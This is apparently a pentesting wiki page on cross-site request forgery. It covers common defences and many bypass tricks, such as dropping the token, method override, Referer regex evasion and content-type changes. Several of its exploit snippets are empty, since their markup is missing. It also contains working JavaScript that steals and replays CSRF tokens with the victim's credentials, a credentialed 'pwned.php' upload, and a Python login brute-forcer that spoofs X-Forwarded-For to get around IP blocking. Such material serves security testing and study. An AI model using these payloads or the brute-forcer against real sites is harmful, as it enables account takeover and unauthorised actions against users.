# CSRF \(Cross Site Request Forgery\) ## What is CSRF? **Cross-site request forger**y \(also known as CSRF\) is a web security vulnerability that allows an attacker to **induce users to perform actions that they do not intend to perform**. This is done by **making a logged in user** in the victim platform access an attacker controlled website and from there **execute** malicious JS code, send forms or retrieve "images" to the **victims account**. ### Requisites In order to be able to abuse a CSRF vulnerability you first need to **find a relevant action to abuse** \(change password or email, make the victim follow you on a social network, give you more privileges...\). The **session must rely only on cookies or HTTP Basic Authentication header**, any other header can't be used to handle the session. An finally, there **shouldn't be unpredictable parameters** on the request. Several **counter-measures** could be in place to avoid this vulnerability. ### **Common defenses** * [**SameSite cookies**](hacking-with-cookies.md#samesite): If the session cookie is using this flag, you may not be able to send the cookie from arbitrary web sites. * [**Cross-origin resource sharing**](cors-bypass.md): Depending on which kind of HTTP request you need to perform to abuse the relevant action, you may take int account the **CORS policy of the victim site**. _Note that the CORS policy won't affect if you just want to send a GET request or a POST request from a form and you don't need to read the response._ * Ask for the **password** user to authorise the action. * Resolve a **captcha** * Read the **Referrer** or **Origin** headers. If a regex is used it could be bypassed form example with: * http://mal.net?orig=http://example.com \(ends with the url\) * http://example.com.mal.net \(starts with the url\) * **Modify** the **name** of the **parameters** of the Post or Get request * Use a **CSRF token** in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS. ### CSRF map ![](../.gitbook/assets/image%20%28307%29.png) ## Defences Bypass ### From POST to GET Maybe the form you want to abuse is prepared to send a **POST request with a CSRF token but**, you should **check** if a **GET** is also **valid** and if when you send a GET request the **CSRF token is still being validated**. ### Lack of token Some applications correctly **validate the token when it is present but skip the validation if the token is omitted**. In this situation, the attacker can **remove the entire parameter** containing the token \(not just its value\) to bypass the validation and deliver a CSRF attack. ### CSRF token is not tied to the user session Some applications do **not validate that the token belongs to the same session** as the user who is making the request. Instead, the application **maintains a global pool of tokens** that it has issued and accepts any token that appears in this pool. In this situation, the attacker can log in to the application using their own account, **obtain a valid token**, and then **feed that token to the victim** user in their CSRF attack. ### Method bypass If the request is using a "**weird**" **method**, check if the **method** **override functionality** is working. For example, if it's **using a PUT** method you can try to **use a POST** method and **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ This could also works sending the **\_method parameter inside the a POST request** or using the **headers**: * _X-HTTP-Method_ * _X-HTTP-Method-Override_ * _X-Method-Override_ ### Custom header token bypass If the request is adding a **custom header** with a **token** to the request as **CSRF protection method**, then: * Test the request without the **Customized Token and also header.** * Test the request with exact **same length but different token**. ### CSRF token is tied to a non-session cookie Some applications do tie the CSRF token to a cookie, but **not** to the same **cookie** that is used to track **sessions**. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together. If the web site contains any **behaviour** that **allows an attacker to set a cookie in a victim's browser**, then an **attack** is possible. ### CSRF token is simply duplicated in a cookie In a further variation on the preceding vulnerability, some applications do not maintain any server-side record of tokens that have been issued, but instead **duplicate each token within a cookie and a request parameter**. When the subsequent request is validated, the application simply verifies that the **token** submitted in the **request parameter matches** the value submitted in the **cookie**. In this situation, the attacker can again perform a CSRF **attack if the web site contains any cookie setting functionality**. ### Content-Type change According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values: * **`application/x-www-form-urlencoded`** * **`multipart/form-data`** * **`text/plain`** However, note that the **severs logic may vary** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ ### application/json preflight request bypass As you already know, you cannot sent a POST request with the Content-Type **`application/json`** via HTML form, and if you try to do so via **`XMLHttpRequest`** a **preflight** request is sent first. However, you could try to send the JSON data using the content types **`text/plain` and `application/x-www-form-urlencoded`** just to check if the backend is using the data independently of the Content-Type. You can send a form using `Content-Type: text/plain` setting **`enctype="text/plain"`** You could also try to **bypass** this restriction by using a **SWF flash file**. More more information [**read this post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Referrer / Origin check bypass #### Avoid Referrer header Some applications validate the Referer header when it is present in requests but **skip the validation if the header is omitted**. ```markup ``` #### Regexp bypasses ```text https://hahwul.com (O) https://hahwul.com?white_domain_com (O) https://hahwul.com;white_domain_com (O) https://hahwul.com/white_domain_com/../target.file (O) https://white_domain_com.hahwul.com (O) https://hahwulwhite_domain_com (O) file://123.white_domain_com (X) https://white_domain_com@hahwul.com (X) https://hahwul.com#white_domain_com (X) https://hahwul.com\.white_domain_com (X) https://hahwul.com/.white_domain_com (X) ``` ## **Exploit Examples** ### **Exfiltrating CSRF Token** If a **CSRF token** is being used as **defence** you could try to **exfiltrate it** abusing a [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection.md) vulnerability. ### **GET using HTML tags** ```markup

404 - Page not found

The URL you are requesting is no longer available ``` Other HTML5 tags that can be used to automatically send a GET request are: ![](../.gitbook/assets/image%20%28509%29.png) ### Form GET request ```markup
``` ### Form POST request ```markup
``` ### Form POST request through iframe ```markup
``` ### **Ajax POST request** ```markup ``` ### multipart/form-data POST request ```javascript myFormData = new FormData(); var blob = new Blob([""], { type: "text/text"}); myFormData.append("newAttachment", blob, "pwned.php"); fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include" }); ``` ### multipart/form-data POST request v2 ```javascript var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest(); xhr.withCredentials = true; xhr.open("POST", url, true); // MIME POST request. xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); xhr.setRequestHeader("Content-Length", fileSize); var body = "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n'; body += "Content-Type: " + ctype + "\r\n\r\n"; body += fileData + "\r\n"; body += "--" + boundary + "--"; //xhr.send(body); xhr.sendAsBinary(body); ``` ### Form POST request from within an iframe ```markup <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **Steal CSRF Token and send a POST request** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest(); xhr.open("POST", POST_URL, true); xhr.withCredentials = true; // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); // This is for debugging and can be removed xhr.onreadystatechange = function() { if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy"); } function getTokenJS() { var xhr = new XMLHttpRequest(); // This tels it to return it as a HTML document xhr.responseType = "document"; xhr.withCredentials = true; // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true); xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token"); // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value); } }; // Make the request xhr.send(null); } var GET_URL="http://google.com?param=VALUE" var POST_URL="http://google.com?param=VALUE" getTokenJS(); ``` ### **Steal CSRF Token and send a Post request using an iframe, a form and Ajax** ```markup
``` ### **Steal CSRF Token and sen a POST request using an iframe and a form** ```markup ``` ### **Steal token and send it using 2 iframes** ```markup
``` ### **POSTSteal CSRF token with Ajax and send a post with a form** ```markup
``` ### CSRF with Socket.IO ```markup ``` ## CSRF Login Brute Force The code can be used to Brut Force a login form using a CSRF token \(It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting\): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## Tools * [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) ## References * [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) * [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)